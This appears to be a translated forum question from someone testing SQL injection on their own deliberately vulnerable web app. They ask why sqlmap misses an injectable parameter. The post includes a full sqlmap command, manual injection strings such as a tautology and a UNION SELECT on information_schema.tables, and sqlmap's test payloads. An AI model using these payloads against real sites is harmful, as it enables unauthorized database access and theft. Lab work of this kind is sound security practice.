He construido una aplicación web vulnerable para demostrar la inyección de SQL. Quiero mostrar tanto la inyección manual como la inyección automatizada. La inyección requiere a) que el usuario esté conectado (cookie de sesión), b) un certificado SSL de usuario yc) un PREFIX.
Mi comando es:
python ./sqlmap.py --auth-file ~/welcomecert.p12 -u "http://komodobank.com/index.php?profile=adminsnowball" -p profile --cookie="PHPSESSID=sp1222aplv64fok7pa7voe447" --prefix="adminsnowball'" -v 3 --dbms mysql --level 5 --risk 3 --union-cols 10-16
Puedo ver que SQLmap está funcionando, pero nunca encuentra que el campo sea inyectable.
Una inyección manual como esta funciona:
http://vulnapp.com/index.php?profile=admin' or '1'='1
Cosas que pueden estar causando el error de SQLmap:
- El mensaje de error devuelto es un mensaje de error personalizado, no un mensaje de error de MySQL.
- El prefijo del perfil debe ser el nombre de usuario registrado.
- El
UNION
no está probando suficientes campos posiblemente - No está probando cadenas, sino solo números enteros (por ejemplo,
AND 3347=7762
y noAND '3347'='7762
- Sus pruebas son
AND
y noOR
(no veo que se esté probandoOR
s) - La solicitud http
GET
se pasa luego a JS, que ajax es para los datos del servidor. Tal vez la respuesta se pierde a SQLmap?
A continuación se muestran algunas de las consultas que pueden ver si se están probando, pero al parecer todas fallan.
[PAYLOAD] admin' AND 3115=1602 AND (3320=3320
[PAYLOAD] admin' AND 5213=5213 AND (8263=8263
[PAYLOAD] admin' AND 3347=7762
[PAYLOAD] admin' AND 5213=5213
[PAYLOAD] admin' ORDER BY 1--
[PAYLOAD] admin' ORDER BY 3421--
[PAYLOAD] admin' UNION ALL SELECT NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL,NULL--
EDITAR: esta consulta también funciona manualmente:
' union select table_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.tables where 'x'='x
Sin embargo, SQLmap no parece probar uniones como esa.